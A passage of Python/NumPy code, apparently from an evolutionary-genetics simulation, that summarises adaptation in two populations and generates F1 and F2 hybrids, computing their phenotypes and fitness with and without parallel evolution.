pop2_overall_summed] = dealwithh(pop2_overall, pop2_h)\n\n\t\t\t\t\t\t\t\t\t\tpop1_h = np.delete(pop1_h, remove1, 0) #remove the same rows from the pop_h matrix\n\t\t\t\t\t\t\t\t\t\tpop2_h = np.delete(pop2_h, remove2, 0)\n\n\t\t\t\t\t\t\t\t\t\tif gen % 500 == 0:\n\t\t\t\t\t\t\t\t\t\t\tprint(gen)\n\n\t\t\t\t\t\t\t\t\t\t# go to next generation\n\t\t\t\t\t\t\t\t\t\tgen += 1\n\n\t\t\t\t\t\t\t\t\t#############################################\n\t\t\t\t\t\t\t\t\t# CREATE THE ADAPTATION SUMMARY (of parents)\n\t\t\t\t\t\t\t\t\t#############################################\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tone = np.ones(len(mut1)).reshape(len(mut1), 1)\n\t\t\t\t\t\t\t\t\ttwo = np.random.randint(low = 2, high = 3, size = len(mut2)).reshape(len(mut2), 1)\n\t\t\t\t\t\t\t\t\tpop1_or_pop2 = np.vstack((one, two))\n\n\t\t\t\t\t\t\t\t\tpop1_freq = (np.mean(pop1_overall, axis = 0)).reshape(np.shape(pop1_overall)[1], 1)\n\t\t\t\t\t\t\t\t\tpop2_freq = (np.mean(pop2_overall, axis = 0)).reshape(np.shape(pop2_overall)[1], 1)\n\t\t\t\t\t\t\t\t\tfreq_overall = np.round(np.vstack((pop1_freq, pop2_freq)), 4)\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tpop1_mut_n1 = mut1[:, 0].reshape(np.shape(mut1)[0], 1)\n\t\t\t\t\t\t\t\t\tpop2_mut_n1 = mut2[:, 0].reshape(np.shape(mut2)[0], 1)\n\t\t\t\t\t\t\t\t\tmut_n1_overall = np.round(np.vstack((pop1_mut_n1, pop2_mut_n1)), 3)\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tpop1_mut_n2 = mut1[:, 1].reshape(np.shape(mut1)[0], 1)\n\t\t\t\t\t\t\t\t\tpop2_mut_n2 = mut2[:, 1].reshape(np.shape(mut2)[0], 1)\n\t\t\t\t\t\t\t\t\tmut_n2_overall = np.round(np.vstack((pop1_mut_n2, pop2_mut_n2)), 3)\n\n\t\t\t\t\t\t\t\t\th_overall = np.vstack((pop1_h, pop2_h))\n\n\t\t\t\t\t\t\t\t\tfreq_fixed = np.where(freq_overall > 0.5)[0]\n\t\t\t\t\t\t\t\t\th_fixed = h_overall[freq_fixed]\n\t\t\t\t\t\t\t\t\th_fixed_mean = np.mean(h_fixed)\n\n\t\t\t\t\t\t\t\t\t#stack everyting in a table \n\t\t\t\t\t\t\t\t\tadapt_summary_data = np.column_stack((pop1_or_pop2, freq_overall, mut_n1_overall, mut_n2_overall, h_overall))\n\n\t\t\t\t\t\t\t\t\t##################\n\t\t\t\t\t\t\t\t\t#HYBRIDIZATION / F1 - always choose parents from different populations \n\t\t\t\t\t\t\t\t\t##################\n\n\t\t\t\t\t\t\t\t\t#loop over parallel evolution - on or off\n\t\t\t\t\t\t\t\t\ti_pevo = 0 \n\n\t\t\t\t\t\t\t\t\twhile i_pevo < len(pevo):\n\t\t\t\t\t\t\t\t\t\tpevo_adapt = pevo[i_pevo]\n\n\t\t\t\t\t\t\t\t\t\tpop1_chrom1 = pop1_genotype[0]\n\t\t\t\t\t\t\t\t\t\tpairs_hybrid = np.resize(np.random.choice(len(pop1_chrom1), size=len(pop1_chrom1), replace=False), (int(len(pop1_chrom1)/2), 2))\n\n\t\t\t\t\t\t\t\t\t\tpevolist = np.array([1]) #this is to append the pevo values later on in the correct format to save into the data tables at the very end\n\n\t\t\t\t\t\t\t\t\t\tif pevo_adapt == 0: #pevo is off\n\n\t\t\t\t\t\t\t\t\t\t\t#genotype of hybrids\n\t\t\t\t\t\t\t\t\t\t\tpop1_chrom1 = pop1_genotype[0]\n\t\t\t\t\t\t\t\t\t\t\tpop1_chrom2 = pop1_genotype[1]\n\n\t\t\t\t\t\t\t\t\t\t\tpop2_chrom1 = pop2_genotype[0]\n\t\t\t\t\t\t\t\t\t\t\tpop2_chrom2 = pop2_genotype[1]\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t#make the zero matrices\n\t\t\t\t\t\t\t\t\t\t\tpop1_zero1 = np.zeros(len(pop1_chrom1) * pop2_chrom1.shape[1]).reshape(len(pop2_chrom1), pop2_chrom1.shape[1])\n\t\t\t\t\t\t\t\t\t\t\tpop1_zero2 = np.zeros(len(pop1_chrom2) * pop2_chrom2.shape[1]).reshape(len(pop2_chrom2), pop2_chrom2.shape[1])\n\n\t\t\t\t\t\t\t\t\t\t\tpop2_zero1 = np.zeros(len(pop2_chrom1) * pop1_chrom1.shape[1]).reshape(len(pop1_chrom1), pop1_chrom1.shape[1])\n\t\t\t\t\t\t\t\t\t\t\tpop2_zero2 = np.zeros(len(pop2_chrom2) * pop1_chrom2.shape[1]).reshape(len(pop1_chrom2), pop1_chrom2.shape[1])\n\n\t\t\t\t\t\t\t\t\t\t\t#attach the zero matrices\n\t\t\t\t\t\t\t\t\t\t\tpop1_chrom1_has0 = np.hstack((pop1_chrom1, pop1_zero1)).astype(int)\n\t\t\t\t\t\t\t\t\t\t\tpop1_chrom2_has0 = np.hstack((pop1_chrom2, pop1_zero2)).astype(int)\n\n\t\t\t\t\t\t\t\t\t\t\tpop2_chrom1_has0 = np.hstack((pop2_zero1, pop2_chrom1)).astype(int)\n\t\t\t\t\t\t\t\t\t\t\tpop2_chrom2_has0 = np.hstack((pop2_zero2, pop2_chrom2)).astype(int)\n\n\t\t\t\t\t\t\t\t\t\t\t#pick the related chromosomes of the pairs \n\t\t\t\t\t\t\t\t\t\t\tpop1_chrom1_hy = pop1_chrom1_has0[pairs_hybrid[:, 0]]\n\t\t\t\t\t\t\t\t\t\t\tpop1_chrom2_hy = pop1_chrom2_has0[pairs_hybrid[:, 0]]\n\n\t\t\t\t\t\t\t\t\t\t\tpop2_chrom1_hy = pop2_chrom1_has0[pairs_hybrid[:, 1]]\n\t\t\t\t\t\t\t\t\t\t\tpop2_chrom2_hy = pop2_chrom2_has0[pairs_hybrid[:, 1]]\n\n\t\t\t\t\t\t\t\t\t\t\t#recombination:\n\t\t\t\t\t\t\t\t\t\t\t#randomly pick 0 or 1 to decide which pairs to match \n\t\t\t\t\t\t\t\t\t\t\tnum = np.random.randint(2, size = 1).tolist()\n\n\t\t\t\t\t\t\t\t\t\t\tif num[0] == 0:\n\t\t\t\t\t\t\t\t\t\t\t\tF1_before_recomb1 = np.concatenate(np.stack((pop1_chrom1_hy, pop2_chrom1_hy), axis = 1))\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb1 = crossover(F1_before_recomb1)\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb1_chrom1 = F1_after_recomb1[::2] #picks every other odd row, chrom1\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb1_chrom2 = F1_after_recomb1[1::2] #picks every other even row, chrom2\n\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\tF1_before_recomb2 = np.concatenate(np.stack((pop1_chrom2_hy, pop2_chrom2_hy), axis = 1))\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb2 = crossover(F1_before_recomb2)\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb2_chrom1 = F1_after_recomb2[::2] #picks every other odd row, chrom1\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb2_chrom2 = F1_after_recomb2[1::2] #picks every other even row, chrom2\n\n\n\t\t\t\t\t\t\t\t\t\t\telif num[0] == 1:\n\t\t\t\t\t\t\t\t\t\t\t\tF1_before_recomb1 = np.concatenate(np.stack((pop1_chrom1_hy, pop2_chrom2_hy), axis = 1))\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb1 = crossover(F1_before_recomb1) \n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb1_chrom1 = F1_after_recomb1[::2] #picks every other odd row, chrom1\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb1_chrom2 = F1_after_recomb1[1::2] #picks every other even row, chrom2\n\n\t\t\t\t\t\t\t\t\t\t\t\tF1_before_recomb2 = np.concatenate(np.stack((pop1_chrom2_hy, pop2_chrom1_hy), axis = 1))\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb2 = crossover(F1_before_recomb2)\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb2_chrom1 = F1_after_recomb2[::2] #picks every other odd row, chrom1\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb2_chrom2 = F1_after_recomb2[1::2] #picks every other even row, chrom2\n\n\t\t\t\t\t\t\t\t\t\t\tkenmet = 0 \n\n\t\t\t\t\t\t\t\t\t\t\thybrid_h = np.vstack((pop1_h, pop2_h))\n\t\t\t\t\t\t\t\t\t\t\tmut_hybrid = np.vstack((mut1, mut2))\n\n\t\t\t\t\t\t\t\t\t\telse: #if pevo is on (there is parallel evolution), then do something different: \t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t#=====================================================\n\t\t\t\t\t\t\t\t\t\t\tmut1 = np.delete(mut1, 0, axis = 0)\n\t\t\t\t\t\t\t\t\t\t\tmut2 = np.delete(mut2, 0, axis = 0)\n\n\t\t\t\t\t\t\t\t\t\t\t#sum the mut matrices across columns \n\t\t\t\t\t\t\t\t\t\t\tmut1sum = np.sum(mut1, axis = 1)\n\t\t\t\t\t\t\t\t\t\t\tmut2sum = np.sum(mut2, axis = 1)\n\n\t\t\t\t\t\t\t\t\t\t\t#find their intersection. this doesnt return indices, just returns the value(s) that is the same between the matrix and the intersection \n\t\t\t\t\t\t\t\t\t\t\tintersect = np.intersect1d(mut1sum, mut2sum)\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t#find indices in both mutsum arrays where mutsum has the same values as the intersect. columns that have those indices in the genotype matrices has the same mutations \n\t\t\t\t\t\t\t\t\t\t\tpop1_pe_idx = np.flatnonzero(np.in1d(mut1sum, intersect))\n\t\t\t\t\t\t\t\t\t\t\tpop2_pe_idx = np.flatnonzero(np.in1d(mut2sum, intersect))\n\n\t\t\t\t\t\t\t\t\t\t\tpop1_chrom1 = pop1_genotype[0]\n\t\t\t\t\t\t\t\t\t\t\tpop1_chrom2 = pop1_genotype[1]\n\n\t\t\t\t\t\t\t\t\t\t\tpop2_chrom1 = pop2_genotype[0]\n\t\t\t\t\t\t\t\t\t\t\tpop2_chrom2 = pop2_genotype[1]\n\n\t\t\t\t\t\t\t\t\t\t\t#before doing the step below, put the genotype matrix in the correct format. horizontally stack it so that ch1 and ch2 are aligned. both ch of individuals are in the same row \n\t\t\t\t\t\t\t\t\t\t\tpop1_genotype_pe = np.hstack((pop1_chrom1, pop1_chrom2))\n\t\t\t\t\t\t\t\t\t\t\tpop2_genotype_pe = np.hstack((pop2_chrom1, pop2_chrom2))\n\n\t\t\t\t\t\t\t\t\t\t\t#apply the indices to the genotype matrices to find the loci that have those mut values. basically find the loci that is undergoing PE. \n\t\t\t\t\t\t\t\t\t\t\tpop1_pe_loci = pop1_genotype_pe[:, pop1_pe_idx]\n\t\t\t\t\t\t\t\t\t\t\tpop2_pe_loci = pop2_genotype_pe[:, pop2_pe_idx]\n\n\t\t\t\t\t\t\t\t\t\t\t#delete the first column from genotype arrays\n\t\t\t\t\t\t\t\t\t\t\tpop1_chrom1 = np.delete(pop1_chrom1, 0, axis = 1)\n\t\t\t\t\t\t\t\t\t\t\tpop1_chrom2 = np.delete(pop1_chrom2, 0, axis = 1)\n\t\t\t\t\t\t\t\t\t\t\tpop2_chrom1 = np.delete(pop2_chrom1, 0, axis = 1)\n\t\t\t\t\t\t\t\t\t\t\tpop2_chrom2 = np.delete(pop2_chrom2, 0, axis = 1)\n\n\t\t\t\t\t\t\t\t\t\t\t#find the parallel loci by applying the indices of parallelism \n\t\t\t\t\t\t\t\t\t\t\tpop1_chrom1_pe_loci = pop1_chrom1[:, pop1_pe_idx]\n\t\t\t\t\t\t\t\t\t\t\tpop1_chrom2_pe_loci = pop1_chrom2[:, pop1_pe_idx]\n\t\t\t\t\t\t\t\t\t\t\tpop2_chrom1_pe_loci = pop2_chrom1[:, pop2_pe_idx]\n\t\t\t\t\t\t\t\t\t\t\tpop2_chrom2_pe_loci = pop2_chrom2[:, pop2_pe_idx]\n\n\t\t\t\t\t\t\t\t\t\t\t#delete the parallel loci. what is remaining is the nonparallel loci \n\t\t\t\t\t\t\t\t\t\t\tpop1_chrom1_del = np.delete(pop1_chrom1, pop1_pe_idx, axis = 1)\n\t\t\t\t\t\t\t\t\t\t\tpop1_chrom2_del = np.delete(pop1_chrom2, pop1_pe_idx, axis = 1)\n\t\t\t\t\t\t\t\t\t\t\tpop2_chrom1_del = np.delete(pop2_chrom1, pop2_pe_idx, axis = 1)\n\t\t\t\t\t\t\t\t\t\t\tpop2_chrom2_del = np.delete(pop2_chrom2, pop2_pe_idx, axis = 1)\n\n\t\t\t\t\t\t\t\t\t\t\t#make the zero matrices\n\t\t\t\t\t\t\t\t\t\t\tpop1_zero = np.zeros(len(pop2_chrom1_del) * pop2_chrom1_del.shape[1]).reshape(len(pop2_chrom1_del), pop2_chrom1_del.shape[1]).astype(int)\n\t\t\t\t\t\t\t\t\t\t\tpop2_zero = np.zeros(len(pop1_chrom1_del) * pop1_chrom1_del.shape[1]).reshape(len(pop1_chrom1_del), pop1_chrom1_del.shape[1]).astype(int)\n\n\t\t\t\t\t\t\t\t\t\t\t#stack 'em up\n\t\t\t\t\t\t\t\t\t\t\tpop1_chrom1_has0 = np.hstack((pop1_chrom1_pe_loci, pop1_zero, pop1_chrom1_del))\n\t\t\t\t\t\t\t\t\t\t\tpop1_chrom2_has0 = np.hstack((pop1_chrom2_pe_loci, pop1_zero, pop1_chrom2_del))\n\t\t\t\t\t\t\t\t\t\t\tpop2_chrom1_has0 = np.hstack((pop2_chrom1_pe_loci, pop2_chrom1_del, pop2_zero))\n\t\t\t\t\t\t\t\t\t\t\tpop2_chrom2_has0 = np.hstack((pop2_chrom2_pe_loci, pop2_chrom2_del, pop2_zero))\n\n\t\t\t\t\t\t\t\t\t\t\t#FIX H MATRICES\n\t\t\t\t\t\t\t\t\t\t\t#dlete the first row \n\t\t\t\t\t\t\t\t\t\t\tpop1_h = np.delete(pop1_h, 0, axis = 0)\n\t\t\t\t\t\t\t\t\t\t\tpop2_h = np.delete(pop2_h, 0, axis = 0)\n\n\t\t\t\t\t\t\t\t\t\t\t#find h values of parallel mutations\n\t\t\t\t\t\t\t\t\t\t\tpop1_h_pe = pop1_h[pop1_pe_idx]\n\t\t\t\t\t\t\t\t\t\t\tpop2_h_pe = pop2_h[pop2_pe_idx]\n\n\t\t\t\t\t\t\t\t\t\t\t#delete the h values of parallel muts \n\t\t\t\t\t\t\t\t\t\t\tpop1_h_del = np.delete(pop1_h, pop1_pe_idx, axis = 0)\n\t\t\t\t\t\t\t\t\t\t\tpop2_h_del = np.delete(pop2_h, pop2_pe_idx, axis = 0)\n\n\t\t\t\t\t\t\t\t\t\t\t#stack \n\t\t\t\t\t\t\t\t\t\t\tpop1_h = np.vstack((pop1_h_pe, pop1_h_del))\n\t\t\t\t\t\t\t\t\t\t\tpop2_h = np.vstack((pop2_h_pe, pop2_h_del))\n\n\t\t\t\t\t\t\t\t\t\t\t#make the hybrid h matrix. add the h values for 2nd pop 1st\n\t\t\t\t\t\t\t\t\t\t\thybrid_h = np.vstack((pop1_h_pe, pop2_h_del, pop1_h_del))\n\n\t\t\t\t\t\t\t\t\t\t\t#FIX MUT MATRICES\n\t\t\t\t\t\t\t\t\t\t\tmut1_pe = mut1[pop1_pe_idx]\n\t\t\t\t\t\t\t\t\t\t\tmut2_pe = mut2[pop2_pe_idx]\n\n\t\t\t\t\t\t\t\t\t\t\tmut1_del = np.delete(mut1, pop1_pe_idx, axis = 0)\n\t\t\t\t\t\t\t\t\t\t\tmut2_del = np.delete(mut2, pop2_pe_idx, axis = 0)\n\n\t\t\t\t\t\t\t\t\t\t\tmut1 = np.vstack((mut1_pe, mut1_del))\n\t\t\t\t\t\t\t\t\t\t\tmut2 = np.vstack((mut2_pe, mut2_del))\n\n\t\t\t\t\t\t\t\t\t\t\tmut_hybrid = np.vstack((mut1_pe, mut2_del, mut1_del))\n\t\t\t\t\t\t\t\t\t\t\t#======================================================\n\n\t\t\t\t\t\t\t\t\t\t\tpop1_chrom1_hy = pop1_chrom1_has0[pairs_hybrid[:, 0]] #choose the chroms of the pairs \n\t\t\t\t\t\t\t\t\t\t\tpop1_chrom2_hy = pop1_chrom2_has0[pairs_hybrid[:, 0]]\n\n\t\t\t\t\t\t\t\t\t\t\tpop2_chrom1_hy = pop2_chrom1_has0[pairs_hybrid[:, 1]]\n\t\t\t\t\t\t\t\t\t\t\tpop2_chrom2_hy = pop2_chrom2_has0[pairs_hybrid[:, 1]]\n\n\t\t\t\t\t\t\t\t\t\t\t#recombination:\n\t\t\t\t\t\t\t\t\t\t\t#randomly pick 0 or 1 to decide which pairs to match\n\t\t\t\t\t\t\t\t\t\t\tnum = np.random.randint(2, size = 1).tolist()\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\tif num[0] == 0:\n\t\t\t\t\t\t\t\t\t\t\t\tF1_before_recomb1 = np.concatenate(np.stack((pop1_chrom1_hy, pop2_chrom1_hy), axis = 1))\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb1 = crossover(F1_before_recomb1)\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb1_chrom1 = F1_after_recomb1[::2] #picks every other odd row, chrom1\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb1_chrom2 = F1_after_recomb1[1::2] #picks every other even row, chrom2\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\tF1_before_recomb2 = np.concatenate(np.stack((pop1_chrom2_hy, pop2_chrom2_hy), axis = 1))\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb2 = crossover(F1_before_recomb2)\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb2_chrom1 = F1_after_recomb2[::2] #picks every other odd row, chrom1\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb2_chrom2 = F1_after_recomb2[1::2] #picks every other even row, chrom2\n\n\t\t\t\t\t\t\t\t\t\t\telif num[0] == 1:\n\t\t\t\t\t\t\t\t\t\t\t\tF1_before_recomb1 = np.concatenate(np.stack((pop1_chrom1_hy, pop2_chrom2_hy), axis = 1))\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb1 = crossover(F1_before_recomb1)\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb1_chrom1 = F1_after_recomb1[::2] #picks every other odd row, chrom1\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb1_chrom2 = F1_after_recomb1[1::2] #picks every other even row, chrom2\n\n\t\t\t\t\t\t\t\t\t\t\t\tF1_before_recomb2 = np.concatenate(np.stack((pop1_chrom2_hy, pop2_chrom1_hy), axis = 1))\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb2 = crossover(F1_before_recomb2)\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb2_chrom1 = F1_after_recomb2[::2] #picks every other odd row, chrom1\n\t\t\t\t\t\t\t\t\t\t\t\tF1_after_recomb2_chrom2 = F1_after_recomb2[1::2] #picks every other even row, chrom2\n\n\t\t\t\t\t\t\t\t\t\t\t#CALCULATE KENMET - indicator of parallel evolution\n\t\t\t\t\t\t\t\t\t\t\t# check which mutations are fixed\n\t\t\t\t\t\t\t\t\t\t\ti = 0 \n\t\t\t\t\t\t\t\t\t\t\tpop1_pe_idx_checked = 0\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\twhile i < len(pop1_pe_idx):\n\t\t\t\t\t\t\t\t\t\t\t\tif pop1_freq[pop1_pe_idx[i]] >= 0.80: \n\t\t\t\t\t\t\t\t\t\t\t\t\tpop1_pe_idx_checked += 1\n\t\t\t\t\t\t\t\t\t\t\t\ti += 1 \n\n\t\t\t\t\t\t\t\t\t\t\tpop2_pe_idx_checked = 0\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\ti = 0 \n\t\t\t\t\t\t\t\t\t\t\twhile i < len(pop2_pe_idx):\n\t\t\t\t\t\t\t\t\t\t\t\tif pop2_freq[pop2_pe_idx[i]] >= 0.80: \n\t\t\t\t\t\t\t\t\t\t\t\t\tpop2_pe_idx_checked += 1\n\t\t\t\t\t\t\t\t\t\t\t\ti += 1 \n\n\t\t\t\t\t\t\t\t\t\t\tif pevo_adapt == 0:\n\t\t\t\t\t\t\t\t\t\t\t\tkenmet = 0\n\t\t\t\t\t\t\t\t\t\t\telse: \n\t\t\t\t\t\t\t\t\t\t\t\tkenmet = calc_kenmet(pop1_genotype_pe, pop1_pe_idx_checked, pop2_genotype_pe, pop2_pe_idx_checked)\n\n\t\t\t\t\t\t\t\t\t\t#save the hybrid genotypes:\n\t\t\t\t\t\t\t\t\t\thybrid_chrom1 = np.vstack((F1_after_recomb1_chrom1, F1_after_recomb2_chrom1))\n\t\t\t\t\t\t\t\t\t\thybrid_chrom2 = np.vstack((F1_after_recomb1_chrom2, F1_after_recomb2_chrom2))\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t#save all the hybrid chromosomes in one array: \n\t\t\t\t\t\t\t\t\t\thybrid_genotype = np.hstack((hybrid_chrom1, hybrid_chrom2)) #each row has both chrom1 and chrom2 of each individual \n\n\t\t\t\t\t\t\t\t\t\thybrid_overall_all = (hybrid_chrom1 + hybrid_chrom2) / 2\n\n\t\t\t\t\t\t\t\t\t\tfor x in range(0, np.shape(hybrid_overall_all)[1]):\n\t\t\t\t\t\t\t\t\t\t\thybrid_overall_all[:, x - 1][hybrid_overall_all[:, x - 1] == 0.5] = hybrid_h[x - 1]\n\n\t\t\t\t\t\t\t\t\t\thybrid_pheno = np.dot(hybrid_overall_all, mut_hybrid)\n\n\t\t\t\t\t\t\t\t\t\t# find the mean phenos of each column \n\t\t\t\t\t\t\t\t\t\tphenos1_1 = np.array([np.round((np.sum(phenos1, axis = 0)[0]) / len(phenos1), 3)])\n\t\t\t\t\t\t\t\t\t\tphenos1_2 = np.array([np.round((np.sum(phenos1, axis = 0)[1]) / len(phenos1), 3)])\n\n\t\t\t\t\t\t\t\t\t\tphenos2_1 = np.array([np.round((np.sum(phenos2, axis = 0)[0]) / len(phenos2), 3)])\n\t\t\t\t\t\t\t\t\t\tphenos2_2 = np.array([np.round((np.sum(phenos2, axis = 0)[1]) / len(phenos2), 3)])\n\n\t\t\t\t\t\t\t\t\t\thybrid_phenos1 = np.array([np.round((np.sum(hybrid_pheno, axis = 0)[0]) / len(hybrid_pheno), 3)])\n\t\t\t\t\t\t\t\t\t\thybrid_phenos2 = np.array([np.round((np.sum(hybrid_pheno, axis = 0)[1]) / len(hybrid_pheno), 3)])\n\n\t\t\t\t\t\t\t\t\t\t# when h is variable, find the average h values \n\t\t\t\t\t\t\t\t\t\th_averaged = (np.mean(h_overall, axis = 0))\n\n\t\t\t\t\t\t\t\t\t\t# HYBRID FITNESS \n\t\t\t\t\t\t\t\t\t\tp_fit1 = w1\n\t\t\t\t\t\t\t\t\t\tp_fit2 = w2 \n\n\t\t\t\t\t\t\t\t\t\t# calculate the hybrid fitness in two optima and then assign them the higher of the two values \n\t\t\t\t\t\t\t\t\t\th_fit1 = np.array(fitness(hybrid_pheno, theta1, sigma_adapt))\n\t\t\t\t\t\t\t\t\t\th_fit2 = np.array(fitness(hybrid_pheno, theta2, sigma_adapt))\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t# make a random array as long as the h_fit1. We will replace the numbers here as we run the loop below. \n\t\t\t\t\t\t\t\t\t\th_fit = np.ones(len(h_fit1))\n\n\t\t\t\t\t\t\t\t\t\t# go through the values in both h_fit1 and h_fit2. Pick the greater value. Save the values in the h_fit array. \n\t\t\t\t\t\t\t\t\t\ti = 0 \n\t\t\t\t\t\t\t\t\t\twhile i < len(h_fit1):\n\t\t\t\t\t\t\t\t\t\t\tif h_fit1[i] > h_fit2[i]:\n\t\t\t\t\t\t\t\t\t\t\t\th_fit[i] = h_fit1[i]\n\t\t\t\t\t\t\t\t\t\t\telse: \n\t\t\t\t\t\t\t\t\t\t\t\th_fit[i] = h_fit2[i]\n\t\t\t\t\t\t\t\t\t\t\ti += 1\n\n\t\t\t\t\t\t\t\t\t\t##################\n\t\t\t\t\t\t\t\t\t\t#HYBRIDIZATION / F2 - choose parents from the F1 \n\t\t\t\t\t\t\t\t\t\t##################\n\n\t\t\t\t\t\t\t\t\t\t# make the pairs\n\t\t\t\t\t\t\t\t\t\tpairs_F2 = np.resize(np.random.choice(len(hybrid_genotype), size=len(hybrid_genotype), replace=False), (int(len(hybrid_genotype)/2), 2))\n\n\t\t\t\t\t\t\t\t\t\t# group related individuals from chrom1 based on pairs \n\t\t\t\t\t\t\t\t\t\thybrid_chrom1_F2 = hybrid_chrom1[pairs_F2]\n\n\t\t\t\t\t\t\t\t\t\t# group related individuals from chrom2 based on pairs \n\t\t\t\t\t\t\t\t\t\thybrid_chrom2_F2 = hybrid_chrom2[pairs_F2]\n\n\t\t\t\t\t\t\t\t\t\t#randomly group them by picking a random number \n\t\t\t\t\t\t\t\t\t\tnum = np.random.randint(2, size = 1).tolist()\n\n\t\t\t\t\t\t\t\t\t\tif num[0] == 0:\n\n\t\t\t\t\t\t\t\t\t\t\t# chrom1-chrom1 and chrom2-chrom2 mating\n\t\t\t\t\t\t\t\t\t\t\tF2_after_recomb1 = np.concatenate(shuffle_along_axis(hybrid_chrom1_F2, 1))\n\t\t\t\t\t\t\t\t\t\t\tF2_after_recomb2 = np.concatenate(shuffle_along_axis(hybrid_chrom2_F2, 1))\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t# generate the overall genotype by putting the chromosomes together \n\t\t\t\t\t\t\t\t\t\t\tF2_genotype = np.hstack((F2_after_recomb1, F2_after_recomb2))\n\n\t\t\t\t\t\t\t\t\t\telif num[0] == 1:\n\n\t\t\t\t\t\t\t\t\t\t\t# chrom1-chrom2 and chrom2-chrom1 mating\n\t\t\t\t\t\t\t\t\t\t\tstacked = np.concatenate(np.stack((np.concatenate(hybrid_chrom1[pairs_F2]), np.concatenate(hybrid_chrom2[pairs_F2])), axis = 1))\n\n\t\t\t\t\t\t\t\t\t\t\tF2_after_recomb1 = stacked[::2] #chrom1 of F2, pick every odd row \n\t\t\t\t\t\t\t\t\t\t\tF2_after_recomb2 = stacked[1::2,:] #chrom2 of F2, pick every even row \n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t# generate the overall genotype by putting the chromosomes together \n\t\t\t\t\t\t\t\t\t\t\tF2_genotype = np.hstack((F2_after_recomb1, F2_after_recomb2))\n\n\t\t\t\t\t\t\t\t\t\t# F2 mut list is the same as F1 mut list since F1 generation didn't undergo any new mutations while making F2 \n\t\t\t\t\t\t\t\t\t\tmut_hybrid_F2 = np.copy(mut_hybrid)\n\n\t\t\t\t\t\t\t\t\t\t# find F2 phenotypes by averaging the two chromosomes, first split the overall genotype into two arrays \n\t\t\t\t\t\t\t\t\t\thybrid_chrom1_F2_after_recomb = np.hsplit(F2_genotype, 2)[0]\n\t\t\t\t\t\t\t\t\t\thybrid_chrom2_F2_after_recomb = np.hsplit(F2_genotype, 2)[1]\n\n\t\t\t\t\t\t\t\t\t\tF2_overall = ((hybrid_chrom1_F2_after_recomb + hybrid_chrom2_F2_after_recomb) / 2)\n\n\t\t\t\t\t\t\t\t\t\t# add the h values, same as F1 hybrids \n\t\t\t\t\t\t\t\t\t\tfor x in range(0, np.shape(F2_overall)[1]):\n\t\t\t\t\t\t\t\t\t\t\tF2_overall[:, x - 1][F2_overall[:, x - 1] == 0.5] = hybrid_h[x - 1]\n\n\t\t\t\t\t\t\t\t\t\t# find the F2 phenotype \n\t\t\t\t\t\t\t\t\t\tF2_phenotype = np.dot(F2_overall, mut_hybrid_F2)\n\n\t\t\t\t\t\t\t\t\t\t# average the F2 phenotypes \n\t\t\t\t\t\t\t\t\t\tF2_phenos_1 = np.array([np.round((np.sum(F2_phenotype, axis = 0)[0]) / len(F2_phenotype), 3)])\n\t\t\t\t\t\t\t\t\t\tF2_phenos_2 = np.array([np.round((np.sum(F2_phenotype, axis = 0)[1]) / len(F2_phenotype), 3)])\n\n\t\t\t\t\t\t\t\t\t\t# find the F2 fitness in both optima \n\t\t\t\t\t\t\t\t\t\tF2_fit1 = np.array(fitness(F2_phenotype, theta1, sigma_adapt))\n\t\t\t\t\t\t\t\t\t\tF2_fit2 = np.array(fitness(F2_phenotype, theta2, sigma_adapt))\n\n\t\t\t\t\t\t\t\t\t\t# make a random array as long as the F2_fit1. We will replace the numbers here as we run the loop below. \n\t\t\t\t\t\t\t\t\t\tF2_fit = np.ones(len(h_fit1))\n\n\t\t\t\t\t\t\t\t\t\t# go through the values in both F2_fit1 and F2_fit2. Pick the greater value. Save the values in the F2_fit array. \n\t\t\t\t\t\t\t\t\t\ti = 0 \n\t\t\t\t\t\t\t\t\t\twhile i < len(F2_fit1):\n\t\t\t\t\t\t\t\t\t\t\tif F2_fit1[i] > F2_fit2[i]:\n\t\t\t\t\t\t\t\t\t\t\t\tF2_fit[i] = 